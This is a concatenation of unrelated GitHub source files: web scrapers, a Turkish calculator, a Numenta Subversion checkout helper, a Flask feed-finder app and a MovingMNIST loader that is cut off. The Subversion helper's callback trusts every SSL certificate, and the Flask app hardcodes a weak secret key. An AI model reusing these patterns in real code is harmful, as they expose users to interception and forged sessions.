rv:55.0) '\n 'Gecko/20100101 Firefox/55.0'\n }\n }\n\n\n def get_headers(self):\n return {\n 'Accept-Encoding': 'gzip, deflate',\n 'Accept - Language': 'en - US, en;q = 0.9'\n }\n\n @every(minutes=24 * 60)\n def on_start(self):\n tag = '创业'\n page = 1\n url = 'http://www.huodongxing.com/eventlist'\n for city in cities:\n self.crawl(url,\n params={'orderby': 'n',\n 'tag': tag,\n 'page': page,\n 'city': city\n },\n save={'orderby': 'n',\n 'tag': tag,\n 'page': page,\n 'city': city\n },\n callback=self.index_page\n )\n\n @config(age=24 * 60 * 60)\n def index_page(self, response):\n doc = response.doc\n ref = response.url\n url = 'http://www.huodongxing.com/eventlist'\n isempty = doc('.content-empty.text-center')\n if not isempty:\n for each in doc('h3 > a').items():\n self.crawl(each.attr.href,\n headers={'Referer': ref},\n callback=self.detail_page)\n response.save['page'] += 1\n self.crawl(url,\n params=response.save,\n save=response.save,\n callback=self.index_page)\n\n\n\n @config(priority=2)\n def detail_page(self, response):\n result = response.doc\n date = result('.jumbotron > div:nth-child(2) > div:nth-child(2)').text().strip()\n if '2017' in date:\n return {\n 'theme': result('.media-body h2').text().strip(),\n 'date': date,\n 'loc': result('div.address').text().strip()\n }\n return\n\n\n\n","repo_name":"kaisayi/mechanics-data-process","sub_path":"spider/huodongxing.py","file_name":"huodongxing.py","file_ext":"py","file_size_in_byte":2460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"290268667","text":"# Bu projemizde fonksiyonlar,modüller,control flow konuları ve veri yapılarını kullanarak gelişmiş bir hesap makinesi yaptım.\n\nfrom math import *\nfrom time import *\n\n\ndef Topla(a, b):\n return a + b\n\n\ndef Cikarma(a, b):\n return a - b\n\n\ndef Carpma(a, b):\n return a * b\n\n\ndef Bolme(a, b):\n return a / b\n\n\ndef usAlma(ussuAlinacakSayi, ussunDerecesi):\n islem1 = pow(ussuAlinacakSayi, ussunDerecesi)\n print(\"{0}'nın üssü: {1}'dir.\".format(ussuAlinacakSayi, islem1))\n\n\ndef Karekok():\n karekokuAlinacakSayi = float(input('Karekökü alınacak sayıyı giriniz: '))\n if karekokuAlinacakSayi >= 0:\n islem2 = sqrt(karekokuAlinacakSayi)\n print(\"{0}'nın karekökü: {1}'dir.\".format(karekokuAlinacakSayi, islem2))\n\n else:\n print('Negatif sayıların karekökü alınmaz.')\n\n\ndef logaritma():\n loguAlinacakSayi = float(input('Logaritması alınacak sayıyı giriniz: '))\n if loguAlinacakSayi >= 1:\n islem3 = float(log2(loguAlinacakSayi))\n print(f\"logaritması alınacak sayı {loguAlinacakSayi}, Sonuç:{islem3} \")\n else:\n print('logaritma kuralını çiğnediniz.')\n\n\ndef dereceyiRadyana():\n derece = float(input('Radyanı alınacak olan dereceyi giriniz: '))\n islem4 = radians(derece)\n print(f\"radyanı alınan sayı: {derece} ve sonuç: {islem4}\")\n\n\ndef radyaniDereceye():\n radyan = float(input('derecesi alınacak olan radyanı giriniz: '))\n islem5 = degrees(radyan)\n print(f\"derecesi alınan sayı: {radyan} ve sonuç: {islem5}\")\n\n\ndef faktoriyel():\n faktoriyelAlinacaksayi = int(input('Faktöriyeli alınacak sayıyı giriniz: '))\n islem6 = factorial(faktoriyelAlinacaksayi)\n print(f\"faktöriyeli alınan sayı: {faktoriyelAlinacaksayi} ve sonuç: {islem6}\")\n\n\ndef mutlak():\n mutlakdegeriAlinacaksayi = float(input('Mutlak değeri alınacak sayıyı giriniz: '))\n islem7 = abs(mutlakdegeriAlinacaksayi)\n print(f\"mutlak değeri alınan sayı: {mutlakdegeriAlinacaksayi} ve işlem sonucu {islem7}\")\n\n\ndef hipotenus():\n ilksayi = float(input('x eksenindeki sayı: '))\n ikincisayi = float(input('y eksenindeki sayı: '))\n islem8 = pow(ilksayi, 2) + pow(ikincisayi, 2)\n islem9 = sqrt(islem8)\n print(islem9)\n\ndef ebob(a,b):\n if a>0 and b>0:\n ebob = gcd(a,b)\n print(f\"{a} ve {b} nin ebobu {ebob}\")\n else:\n print(\"Negatif sayılarda ebob hesaplanamaz.\")\n\n\nprint(\"\"\"\n [GELİŞMİŞ HESAP MAKİNESİ PROGRAMI]\n ↓ \n ↓ \n ↓ \n ********************************************************\n * \\t ----LÜTFEN İŞLEM SEÇİN---- \\t *\n * *\n * \\t\\t1. İşlem = Toplama *\n * \\t\\t2. İşlem = Çıkarma *\n * \\t\\t3. İşlem = Çarpma *\n * \\t\\t4. İşlem = Bölme *\n * \\t\\t5. İşlem = usAlma * \n * \\t\\t6. İşlem = Karekok *\n * \\t\\t7. İşlem = logaritma *\n * \\t\\t8. İşlem = dereceyiRadyana *\n * \\t\\t9. İşlem = radyaniDereceye *\n * \\t\\t10.İşlem = hipotenus *\n * \\t\\t11.İşlem = faktoriyel *\n * \\t\\t12.İşlem = mutlak *\n * \\t\\t13.işlem = ebob *\n * \\t\\t13.işlem = Çıkmak için q ya basın...\" *\n * *\n ********************************************************\\n\"\"\")\n\nwhile True:\n Islem = input(\"İşleminizi giriniz : \")\n\n if (Islem == \"q\"):\n print(\"işleminiz sonlandırılıyor...\")\n sleep(2)\n print(\"tekrar bekleriz ... \")\n break\n\n elif (int(Islem) == 1):\n sayi1 = float(input('1.Sayıyı giriniz: '))\n sayi2 = float(input('2.Sayıyı giriniz: '))\n print(\"işleminiz yapılıyor...\")\n sleep(1)\n print(f\"sayı1: {sayi1} sayi2: {sayi2} ve sayı1+sayı2: {Topla(sayi1, sayi2)}\")\n\n elif (int(Islem) == 2):\n sayi1 = float(input('1.Sayıyı giriniz: '))\n sayi2 = float(input('2.Sayıyı giriniz: '))\n print(\"işleminiz yapılıyor...\")\n sleep(1)\n print(f\"sayı1: {sayi1} sayi2: {sayi2} ve sayı1-sayi2 : {Cikarma(a=sayi1, b=sayi2)}\")\n\n elif (int(Islem) == 3):\n sayi1 = float(input('1.Sayıyı giriniz: '))\n sayi2 = float(input('2.Sayıyı giriniz: '))\n print(\"işleminiz yapılıyor...\")\n sleep(1)\n print(f\"sayı1: {sayi1} sayi2: {sayi2} ve sayı1*sayı2: {Carpma(a=sayi1, b=sayi2)}\")\n\n\n elif (int(Islem) == 4):\n sayi1 = float(input('1.Sayıyı giriniz: '))\n sayi2 = float(input('2.Sayıyı giriniz: '))\n print(\"işleminiz yapılıyor...\")\n sleep(1)\n print(f\"sayı1: {sayi1} sayi2: {sayi2} ve sayi1/sayi2 : {Bolme(a=sayi1, b=sayi2)}\")\n\n\n elif (int(Islem) == 5):\n ussuAlinacakSayi = float(input('Üssü alınacak sayıyı giriniz: '))\n ussunDerecesi = float(input('Üssün derecesi sayıyı giriniz: '))\n print(\"işleminiz yapılıyor...\")\n sleep(1)\n usAlma(ussuAlinacakSayi, ussunDerecesi)\n\n elif (int(Islem) == 6):\n\n print(\"işleminiz yapılıyor...\")\n sleep(1)\n Karekok()\n\n\n elif (int(Islem) == 7):\n\n print(\"işleminiz yapılıyor...\")\n sleep(1)\n logaritma()\n\n\n elif (int(Islem) == 8):\n print(\"işlemniz yapılıyor...\")\n sleep(1)\n dereceyiRadyana()\n\n\n elif (int(Islem) == 9):\n print(\"işleminiz yapılıyor...\")\n sleep(1)\n radyaniDereceye()\n\n\n elif (int(Islem) == 10):\n print(\"işleminiz yapılıyor...\")\n sleep(1)\n hipotenus()\n\n\n elif (int(Islem) == 11):\n print(\"işleminiz yapılıyor...\")\n sleep(1)\n faktoriyel()\n\n elif (int(Islem) == 12):\n print(\"işleminiz yapılıyor...\")\n sleep(1)\n mutlak()\n\n elif (int(Islem) == 13):\n print(\"işleminiz ypılıyor..\")\n sleep(1)\n a = int(input(\"1.sayı: \"))\n b = int(input(\"2.sayı: \"))\n ebob(a,b)\n\n else:\n print(\"Böyle bir işlem yok\")","repo_name":"batusyalp/Python_Projects","sub_path":"Bilimsel Hesap Makinesi.py","file_name":"Bilimsel Hesap Makinesi.py","file_ext":"py","file_size_in_byte":6305,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31099613511","text":"import utils\nimport os\nimport logging\nimport sys\nimport time\n\n# Maintain the ability to do everything via subversion commands for now\nusingPysvn = True\ntry:\n import pysvn\nexcept:\n usingPysvn = False\n\nlog = logging.getLogger(\"svn\")\nbaseurl = \"https://neocortex.numenta.com/svn/Numenta/\"\n\ndef initlog(verbose = False) :\n \"\"\"Perform basic log initialization. Used by\n calling modules that don't use the logging module themselves\"\"\"\n if verbose:\n logging.basicConfig(level=logging.DEBUG, stream=sys.stdout, \n format=\"%(levelname)-7s %(message)s\")\n logging.getLogger('').setLevel(logging.DEBUG)\n else:\n logging.basicConfig(level=logging.INFO, stream=sys.stdout, \n format=\"%(levelname)-7s %(message)s\")\n logging.getLogger('').setLevel(logging.INFO)\n\n# pysvn requires that we explicitly decide whether to trust\n# a server. This callback function always says yes\ndef _ssl_server_trust_prompt(trust_dict):\n # return values mean:\n # 1. use a username and password\n # 2. accepted failures allowed\n # 3. don't save the certificate\n return (True, 0, False)\n\ndef checkout(dir, repo=\"trunk\", revision=\"HEAD\", incremental=False, keepLocalMods=False):\n \"\"\"\n Check out a repository. \n Makes sure that the disk version is completely in sync. \n @param repo The name of the respository. Appended to https://neocortex.numenta.com/svn/Numenta\n @param revision Integer revision number or \"HEAD\"\n @param incremental If True, the directory must exist and must be a checkout\n of the same repo (though possibly at a different revision and with local mods)\n @param keepLocalMods If True, local modifications are kept, that is, anything that shows\n up as \"M\" or \"S\" with \"svn status\". But the repository is updated to the specified \n version. If keepLocalMods is True, incremental must be true. \n \"\"\"\n\n log.info(\"checkout: checking out repo '%s' at revision '%s' incremental: %s keepLocalMods: %s\", \n repo, revision, incremental, keepLocalMods)\n if keepLocalMods == True and incremental == False:\n log.error(\"checkout: request to keep local modifications with a non-incremental checkout\")\n raise Exception()\n\n if not usingPysvn:\n checkoutNoPysvn(dir, \n repo=repo,\n revision=revision,\n incremental=incremental, \n keepLocalMods=keepLocalMods)\n return\n\n url = baseurl + repo\n\n client = pysvn.Client()\n client.callback_ssl_server_trust_prompt = _ssl_server_trust_prompt\n # convert revision specification to pysvn Revision\n if type(revision) == type(str()):\n if revision == \"HEAD\":\n svnrev = pysvn.Revision(pysvn.opt_revision_kind.head)\n else:\n # if revision does not represent an int, the conversion will throw an exception\n svnrev = pysvn.Revision(pysvn.opt_revision_kind.number, int(revision))\n elif type(revision) == type(5):\n svnrev = pysvn.Revision(pysvn.opt_revision_kind.number, revision)\n else:\n log.error(\"checkout: bad type for revision specification: %s\", type(revision))\n raise Exception()\n\n if incremental:\n if not os.path.exists(dir) or not os.path.isdir(dir):\n log.error(\"checkout: %s does not exist or is not a directory\", dir);\n raise Exception()\n try:\n info = client.info(dir)\n except:\n log.error(\"checkout: unable to get svn info from directory %s\", dir)\n raise Exception()\n if info[\"url\"] != url:\n log.error(\"checkout: subversion url does not match for directory %s\", dir)\n log.error(\"checkout: expected: %s\", url)\n log.error(\"checkout: got: %s\", info[\"url\"])\n raise Exception()\n\n clean(dir, doCleanup=(not keepLocalMods))\n log.info(\"Updating tree to revision %s\", revision)\n client.update(dir, recurse=True, revision=svnrev, ignore_externals=True)\n if not keepLocalMods:\n try:\n # Throws an exception if it is not completely clean\n verify(dir)\n except:\n log.warn(\"Verification of repository failed. Trying one more clean/update cycle\")\n clean(dir, doCleanup=True)\n log.info(\"Updating tree to revision %s\", revision)\n client.update(dir, recurse=True, revision=svnrev, ignore_externals=True)\n verify(dir)\n \n \n else:\n # not incremental\n if os.path.exists(dir):\n log.error(\"checkout: directory %s already exists. Full checkout requested\", dir)\n raise Exception()\n log.info(\"Doing fresh checkout of repo '%s' into directory '%s'\", \n repo, revision)\n client.checkout(url, dir, recurse=True, revision=svnrev, ignore_externals=True)\n\n\n\ndef clean(dir, doCleanup=True):\n \"\"\"Find all entries that are not supposed to be there and delete them.\n If doCleanup == True, actually does the cleanup, otherwise reports what\n is found. \n End result should be that \"svn status --no-ignore\" shows missing files but\n no extra files.\"\"\"\n\n\n if doCleanup:\n log.info(\"Cleaning up subversion repo in dir '%s'\", dir)\n else:\n log.info(\"Reporting bad files in dir '%s'\", dir)\n\n if not usingPysvn:\n cleanNoPysvn(dir, doCleanup)\n return\n\n client = pysvn.Client()\n client.callback_ssl_server_trust_prompt = _ssl_server_trust_prompt\n statusList = client.status(dir, recurse=True, get_all=True, update=False,ignore=False,ignore_externals=True)\n\n for item in statusList:\n if not item.is_versioned:\n # don't both notifying about completely routine files\n if (not item.path.endswith(\".pyc\") and \n not item.path.endswith(\"Makefile.am\") and \n not item.path.endswith(\".vcproj\") and \n not item.path.endswith(\"project.manifest\") and\n not item.path.endswith(\"Makefile.in\")):\n log.info(\"clean: Found unversioned item '%s'\", item.path)\n if doCleanup:\n utils.remove(item.path)\n continue\n if item.is_locked:\n log.error(\"clean: Encountered locked item '%s'. Cleanup subversion tree manually\", item.path)\n raise Exception()\n if item.is_switched:\n log.info(\"clean: Found switched item '%s'\", item.path)\n if doCleanup:\n utils.remove(item.path)\n continue\n # Look carefully at item status. \n # Text status only -- ignore property status for now\n status = item.text_status\n if status == pysvn.wc_status_kind.normal:\n # this is what we want. Needs no special treatment\n pass\n elif (status == pysvn.wc_status_kind.none or \n status == pysvn.wc_status_kind.unversioned or \n status == pysvn.wc_status_kind.external):\n # should have handled unversioned files above\n log.error(\"clean: Encountered object '%s' with unexpected status '%s'\", item.path, status)\n raise Exception()\n elif (status == pysvn.wc_status_kind.added or\n status == pysvn.wc_status_kind.deleted or\n status == pysvn.wc_status_kind.replaced or\n status == pysvn.wc_status_kind.modified or\n status == pysvn.wc_status_kind.merged or \n status == pysvn.wc_status_kind.conflicted or\n status == pysvn.wc_status_kind.obstructed or\n status == pysvn.wc_status_kind.ignored):\n log.info(\"clean: Found modified item '%s' with status '%s'\", item.path, status)\n if doCleanup:\n utils.remove(item.path)\n elif (status == pysvn.wc_status_kind.missing or\n status == pysvn.wc_status_kind.incomplete):\n log.info(\"svnUPdate: Found missing/incomplete item '%s'\", item.path)\n else:\n log.error(\"clean: unknown status %s for item %s\", status, item.path)\n raise Exception()\n\n\ndef verify(dir):\n \"\"\"Make sure that a repo is completely clean, with everything up to date\n Throws an exception if there is anything wrong\"\"\"\n\n if not usingPysvn:\n verifyNoPysvn(dir)\n return\n\n client = pysvn.Client()\n client.callback_ssl_server_trust_prompt = _ssl_server_trust_prompt\n statusList = client.status(dir, recurse=True, get_all=True, update=False,ignore=False,ignore_externals=True)\n\n for item in statusList:\n if (not item.is_versioned):\n log.error(\"verify: Found unversioned item '%s'\", item.path)\n raise Exception()\n if item.is_locked:\n log.error(\"verify: Encountered locked item '%s'. Clean subversion tree manually\", item.path)\n raise Exception()\n if item.is_switched:\n log.info(\"verify: Found switched item '%s'\", item.path)\n raise Exception()\n \n status = item.text_status\n if status != pysvn.wc_status_kind.normal:\n log.error(\"verify: Encountered object '%s' with unexpepcted status '%s'\", item.path, status)\n\n \n\ndef getRevision(dir):\n if not usingPysvn:\n return getRevisionNoPysvn(dir)\n \n client = pysvn.Client()\n client.callback_ssl_server_trust_prompt = _ssl_server_trust_prompt\n info = client.info(dir)\n rev = int(info.revision.number)\n return rev\n\ndef getHeadRevision(dir):\n if not usingPysvn:\n return getHeadRevisionNoPysvn(dir)\n \n client = pysvn.Client()\n client.callback_ssl_server_trust_prompt = _ssl_server_trust_prompt\n info = client.info(dir)\n url = info.url\n info = client.info2(url, pysvn.Revision(pysvn.opt_revision_kind.head), recurse=False)\n rev = int(info[0][1].last_changed_rev.number)\n return rev\n\n\ndef getRevisionNoPysvn(dir):\n revisionnum = utils.backquote(\"svn info %s | grep Revision: | awk '{print $2}'\" % dir)\n return int(revisionnum)\n\ndef getHeadRevisionNoPysvn(dir):\n revisionnum = utils.backquote(\"svn info -r HEAD %s | grep 'Last Changed Rev': | awk '{print $4}'\" % dir)\n return int(revisionnum)\n\ndef verifyNoPysvn(dir):\n output = utils.runCommandCaptureOutput(\"svn status --no-ignore %s\" % dir) \n if output is None or len(output) > 0 :\n if output == None:\n log.error(\"svn status output is 'None'\")\n else:\n log.error(\"svn status output is not clean\")\n for l in output:\n log.error(\" status output: %s\" % l.strip())\n raise Exception()\n\n\n\ndef checkoutNoPysvn(dir, repo=\"trunk\", revision=\"HEAD\", incremental=False, keepLocalMods=False):\n url = baseurl + repo\n\n log.info(\"checkoutNoPysvn: checking out repo '%s' at revision '%s' incremental: %s keepLocalMods: %s\", \n repo, revision, incremental, keepLocalMods)\n\n if incremental:\n if not os.path.exists(dir) or not os.path.isdir(dir):\n log.error(\"checkout: %s does not exist or is not a directory\", dir);\n raise Exception()\n try:\n actualUrl = utils.backquote(\"svn info %s | grep URL | awk '{print $2}'\" % dir)\n except:\n log.error(\"checkout: unable to get svn info from directory %s\", dir)\n raise Exception()\n if actualUrl != url:\n log.error(\"checkout: subversion url does not match for directory %s\", dir)\n log.error(\"checkout: expected: %s\", url)\n log.error(\"checkout: got: %s\", actualUrl)\n raise Exception()\n\n clean(dir, doCleanup=(not keepLocalMods))\n log.info(\"Updating tree to revision %s\", revision)\n utils.runCommand(\"svn update -r %s %s\" % (revision, dir))\n if not keepLocalMods:\n try:\n # Throws an exception if it is not completely clean\n verify(dir)\n except:\n log.warn(\"Verification of repository failed. Trying one more clean/update cycle\")\n clean(dir, doCleanup=True)\n log.info(\"Updating tree to revision %s\", revision)\n utils.runCommand(\"svn update -r %s %s\" % (revision, dir))\n verify(dir)\n else:\n # not incremental\n if os.path.exists(dir):\n log.error(\"checkout: directory %s already exists. Full checkout requested\", dir)\n raise Exception()\n log.info(\"Doing fresh checkout of repo '%s' into directory '%s'\", \n repo, revision)\n utils.runCommand(\"svn checkout -r %s %s %s\" % (revision, url, dir))\n \n\ndef cleanNoPysvn(dir, doCleanup=True):\n if doCleanup == False:\n utils.runCommand(\"svn status --no-ignore %s\" % dir)\n else:\n # Delete everythiung svn doesn't know about *except* for the top level directory, since svn can \n # reports the top level directory as \"!\" (missing\") if a sub-directory is missing. \n # Use the xml format to avoid problems with spaces in filenames\n utils.runCommand(\"svn status --no-ignore --xml %s | grep -A1 entry | grep path= | awk -F= '{print $2}' | sed 's/>//' | grep -v \\\\\\\"%s\\\\\\\" | xargs rm -rvf\" % (dir, dir), logOutputOnlyOnFailure=False)\n\n\ndef getLog(dir, rev1, rev2):\n \n if not usingPysvn:\n return getLogNoPysvn(dir, rev1, rev2)\n \n client = pysvn.Client()\n client.callback_ssl_server_trust_prompt = _ssl_server_trust_prompt\n logentries = client.log(dir, \n pysvn.Revision(pysvn.opt_revision_kind.number, int(rev1)), \n pysvn.Revision(pysvn.opt_revision_kind.number, int(rev2)))\n\n log = \"\"\n for entry in logentries:\n log += \"-----------------------------------------------------------\\n\"\n log += \"r%-10d | %-10s | %s\\n\" % (entry[\"revision\"].number, entry[\"author\"], \n time.asctime(time.localtime(entry[\"date\"])))\n log += \"%s\\n\" % entry[\"message\"].strip()\n\n log += \"-----------------------------------------------------------\"\n return log\n\ndef getLogNoPysvn(dir, rev1, rev2):\n loglines = utils.runCommandCaptureOutput(\"svn log -r %d:%d %s\" % (rev1, rev2, dir))\n log = \"\"\n for line in loglines:\n log += line\n return log\n\n","repo_name":"tkaitchuck/nupic","sub_path":"build_system/pybuild/svn.py","file_name":"svn.py","file_ext":"py","file_size_in_byte":13237,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"7458464997","text":"import re\n\nimport scrapy\n\nfrom scrapy.loader import ItemLoader\nfrom ..items import CdbItem\nfrom itemloaders.processors import TakeFirst\npattern = r'(\\xa0)?'\n\nclass CdbSpider(scrapy.Spider):\n\tname = 'cdb'\n\tstart_urls = ['https://www.cdb.com.cy/news']\n\n\tdef parse(self, response):\n\t\tarticles = response.xpath('//div[@class=\"date_container bg-color-purple\"]')\n\t\tfor article in articles:\n\t\t\tdate = [article.xpath('.//h4/text()').get()+' / '+ article.xpath('.//h6/text()').get()]\n\t\t\tpost_links = article.xpath('.//a/@href').get()\n\t\t\tyield response.follow(post_links, self.parse_post,cb_kwargs=dict(date=date))\n\n\tdef parse_post(self, response,date):\n\n\t\ttitle = [response.xpath('//div[@class=\"container-content-inner\"]/h3[@class=\"text-center small_section_title\"]/text()').get() + response.xpath('//div[@class=\"container-content-inner\"]/h1/text()').get()]\n\t\tcontent = response.xpath('//div[@itemprop=\"articleBody\"]//text()').getall()\n\t\tcontent = [p.strip() for p in content if p.strip()]\n\t\tcontent = re.sub(pattern, \"\",' '.join(content))\n\n\t\titem = ItemLoader(item=CdbItem(), response=response)\n\t\titem.default_output_processor = TakeFirst()\n\n\t\titem.add_value('title', title)\n\t\titem.add_value('link', response.url)\n\t\titem.add_value('content', content)\n\t\titem.add_value('date', date)\n\n\t\tyield item.load_item()\n","repo_name":"SimeonYS/cdb","sub_path":"cdb/spiders/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25552992098","text":"from flask import Flask, request, jsonify, render_template, g, session\nfrom feedfinder3 import find_feeds, FeedInfo\nimport time\nimport re\nimport urllib\nfrom pprint import pprint\nimport json\nfrom marshmallow import Schema, fields\nimport time\nfrom flask_assets import Environment, Bundle\nfrom webassets.filter import get_filter\n\napp = Flask(__name__)\n\napp.config['SECRET_KEY'] = 'blahblah'\n\nassets = Environment(app)\n\njs = Bundle('js/jquery-3.1.0.min.js',\n 'js/semantic.min.js',\n 'js/eventemitter.js',\n filters='jsmin',\n output='gen/packed.js')\nassets.register('js_all', js)\n\nreact_filter = get_filter('babel', presets='react')\nreact = Bundle('js/react.js',\n 'js/react-dom.js',\n 'js/main-react.js',\n filters=react_filter,\n output='gen/react_all.js')\nassets.register('react_all', react)\n\ncss = Bundle('css/semantic.min.css',\n 'css/custom.css',\n filters='cssutils',\n output='gen/packed.css')\nassets.register('css_all', css)\n\n\ncomment_pattern = '\\/comment(?:s)?(?:\\/)?'\ncomment_regex = re.compile(comment_pattern)\n\nexcluded_domains = ['auctorial.com']\n\nfeed1 = FeedInfo(url='http://test.com')\nfeed1.subscribed = True\nfeed1.description = 'This is the first test feed.'\n\nfeed2 = FeedInfo(url='http://test2.com')\nfeed2.description = 'This is a test feed'\nfeed2.title = 'Test 2'\n\n\nclass FileInfoSchema(Schema):\n url = fields.String()\n site_url = fields.String()\n title = fields.String()\n description = fields.String()\n site_name = fields.String()\n site_icon_link = fields.String()\n subscribed = fields.Boolean()\n\n\n@app.route('/')\ndef index():\n msg = 'Hello World 2'\n return render_template('index.html', msg=msg)\n\n\n@app.route('/security')\ndef security():\n return render_template('security/login_user.html')\n\n\n@app.route('/get', methods=['POST'])\ndef get():\n # urls = request.form.getlist('urlinput')\n urls = request.form.getlist('urls[]')\n print('Sent URLs: {0}'.format(urls))\n\n feeds = [feed1, feed2]\n not_found = []\n excluded = []\n session['feeds'] = []\n\n urls = set(urls)\n print('Set Urls: {0}'.format(urls))\n\n for url in urls:\n if not url:\n continue\n\n parsed = urllib.parse.urlparse(url)\n domain_root = parsed.netloc or parsed.path\n if domain_root in excluded_domains:\n print('Skipping url, excluded domain: {0}'.format(url))\n excluded.append(url)\n continue\n\n found = find_feeds(url, get_feedinfo=True)\n # found = find_feeds(url)\n print('Found feeds: {0}'.format(found))\n for f in found:\n print(f)\n if not comment_regex.search(f.url) and f not in feeds:\n feeds.append(f)\n\n if not found:\n not_found.append(url)\n\n file_info_schema = FileInfoSchema(many=True)\n result = file_info_schema.dump(feeds)\n print('Feeds: {0}'.format(feeds))\n\n # serialized = list(f.serialize() for f in feeds)\n session['feeds'] = result.data\n session['feed_urls'] = list(f.url for f in feeds)\n print('Session feeds: {0}'.format(session['feeds']))\n\n return jsonify({\"result\": result.data})\n\n\n@app.route('/save2', methods=['POST'])\ndef save2():\n print(request.mimetype)\n requested_feed = request.get_json()\n print('Requested feeds: {0}'.format(requested_feed))\n if requested_feed in session['feed_urls']:\n return jsonify({'subscribed': requested_feed})\n return jsonify({'subcribed': None})\n\n\n@app.route('/save', methods=['POST'])\ndef save():\n print(request.mimetype)\n requested_feeds = request.get_json()\n print('Requested feeds: {0}'.format(requested_feeds))\n\n to_subscribe = []\n for f in requested_feeds:\n if f in session['feeds']:\n to_subscribe.append(f)\n\n # send subscription request\n print('To Subscribe: {0}'.format(to_subscribe))\n return jsonify({'subscribed': to_subscribe})\n\n\n@app.route('/test', methods=['POST'])\ndef test():\n print(request.mimetype)\n print(request.form)\n\n print(request.get_json())\n urls = request.form.getlist('urls[]')\n print(urls)\n\n return jsonify({\"urls\": urls})\n\n\n@app.before_request\ndef before_request():\n g.start = time.time()\n\n\n@app.after_request\ndef after_request(response):\n if 'start' in g:\n response_time = (time.time() - g.start)\n else:\n response_time = 0\n\n response_time_in_ns = int(response_time * 1000)\n\n params = {\n 'method': request.method,\n 'in': response_time_in_ns,\n 'url': request.path,\n 'ip': request.remote_addr,\n 'status': response.status\n }\n\n app.logger.info('%(method)s \"%(url)s\" %(status)s in %(in)sms for %(ip)s',\n params)\n\n return response\n","repo_name":"DBeath/flask-ajax","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5699401366","text":"# Baekjoon Online Judge - 2083번. 럭비 클럽\n\n\nwhile True:\n name, age, weight = map(str, input().split())\n if name == '#':\n break\n age = int(age)\n weight = int(weight)\n if age > 17 or weight >= 80:\n print(name, 'Senior')\n else:\n print(name, 'Junior')\n","repo_name":"wnstj-yang/Algorithm","sub_path":"BOJ/BOJ_2083.py","file_name":"BOJ_2083.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26247512438","text":"import cv2\nimport gzip\nimport numpy as np\nimport os\nimport random\n\nimport torch\nimport torch.nn.functional as F\nimport torchvision\nfrom torch.utils.data import Dataset\n\nfrom openstl.datasets.utils import create_loader\n\n\ndef load_cifar(root, data_name='mnist_cifar'):\n # Load CIFAR-10 dataset as the background.\n data = None\n if 'cifar' in data_name:\n path = os.path.join(root, 'cifar10')\n cifar_train = torchvision.datasets.CIFAR10(root=path, train=True, download=True)\n cifar_test = torchvision.datasets.CIFAR10(root=path, train=False, download=True)\n data = np.concatenate([cifar_train.data, cifar_test.data],\n axis=0).reshape(-1, 32, 32, 3)\n return data\n\n\ndef load_mnist(root, data_name='mnist'):\n # Load MNIST dataset for generating training data.\n file_map = {\n 'mnist': 'moving_mnist/train-images-idx3-ubyte.gz',\n 'fmnist': 'moving_fmnist/train-images-idx3-ubyte.gz',\n 'mnist_cifar': 'moving_mnist/train-images-idx3-ubyte.gz',\n }\n path = os.path.join(root, file_map[data_name])\n with gzip.open(path, 'rb') as f:\n mnist = np.frombuffer(f.read(), np.uint8, offset=16)\n mnist = mnist.reshape(-1, 28, 28)\n return mnist\n\n\ndef load_fixed_set(root, data_name='mnist'):\n # Load the fixed dataset\n file_map = {\n 'mnist': 'moving_mnist/mnist_test_seq.npy',\n 'fmnist': 'moving_fmnist/fmnist_test_seq.npy',\n 'mnist_cifar': 'moving_mnist/mnist_cifar_test_seq.npy',\n }\n path = os.path.join(root, file_map[data_name])\n dataset = np.load(path)\n if 'cifar' not in data_name:\n dataset = dataset[..., np.newaxis]\n return dataset\n\n\nclass MovingMNIST(Dataset):\n \"\"\"Moving MNIST Dataset `_\n\n Args:\n data_root (str): Path to the dataset.\n is_train (bool): Whether to use the train or test set.\n data_name (str): Name of the MNIST modality.\n n_frames_input, n_frames_output (int): The number of input and prediction\n video frames.\n image_size (int): Input resolution of the data.\n num_objects (list): The number of moving objects in videos.\n use_augment (bool): Whether to use augmentations (defaults to False).\n \"\"\"\n\n def __init__(self, root, is_train=True, data_name='mnist',\n n_frames_input=10, n_frames_output=10, image_size=64,\n num_objects=[2], transform=None, use_augment=False):\n super(MovingMNIST, self).__init__()\n\n self.dataset = None\n self.is_train = is_train\n self.data_name = data_name\n if self.is_train:\n self.mnist = load_mnist(root, data_name)\n self.cifar = load_cifar(root, data_name)\n else:\n if num_objects[0] != 2:\n self.mnist = load_mnist(root, data_name)\n self.cifar = load_cifar(root, data_name)\n else:\n self.dataset = load_fixed_set(root, data_name)\n self.length = int(1e4) if self.dataset is None else self.dataset.shape[1]\n\n self.num_objects = num_objects\n self.n_frames_input = n_frames_input\n self.n_frames_output = n_frames_output\n self.n_frames_total = self.n_frames_input + self.n_frames_output\n self.transform = transform\n self.use_augment = use_augment\n self.background = 'cifar' in data_name\n # For generating data\n self.image_size_ = image_size\n self.digit_size_ = 28\n self.step_length_ = 0.1\n\n self.mean = 0\n self.std = 1\n\n def get_random_trajectory(self, seq_length):\n ''' Generate a random sequence of a MNIST digit '''\n canvas_size = self.image_size_ - self.digit_size_\n x = random.random()\n y = random.random()\n theta = random.random() * 2 * np.pi\n\n v_ys = [np.sin(theta)] * seq_length\n v_xs = [np.cos(theta)] * seq_length\n\n start_y = np.zeros(seq_length)\n start_x = np.zeros(seq_length)\n bounce_x = 1\n bounce_y = 1\n for i, v_x, v_y in zip(range(seq_length), v_xs, v_ys):\n # Take a step along velocity.\n y += bounce_y * v_y * self.step_length_\n x += bounce_x * v_x * self.step_length_\n\n # Bounce off edges.\n if x <= 0:\n x = 0\n # v_x = -v_x\n bounce_x = -bounce_x\n if x >= 1.0:\n x = 1.0\n # v_x = -v_x\n bounce_x = -bounce_x\n if y <= 0:\n y = 0\n # v_y = -v_y\n bounce_y = -bounce_y\n if y 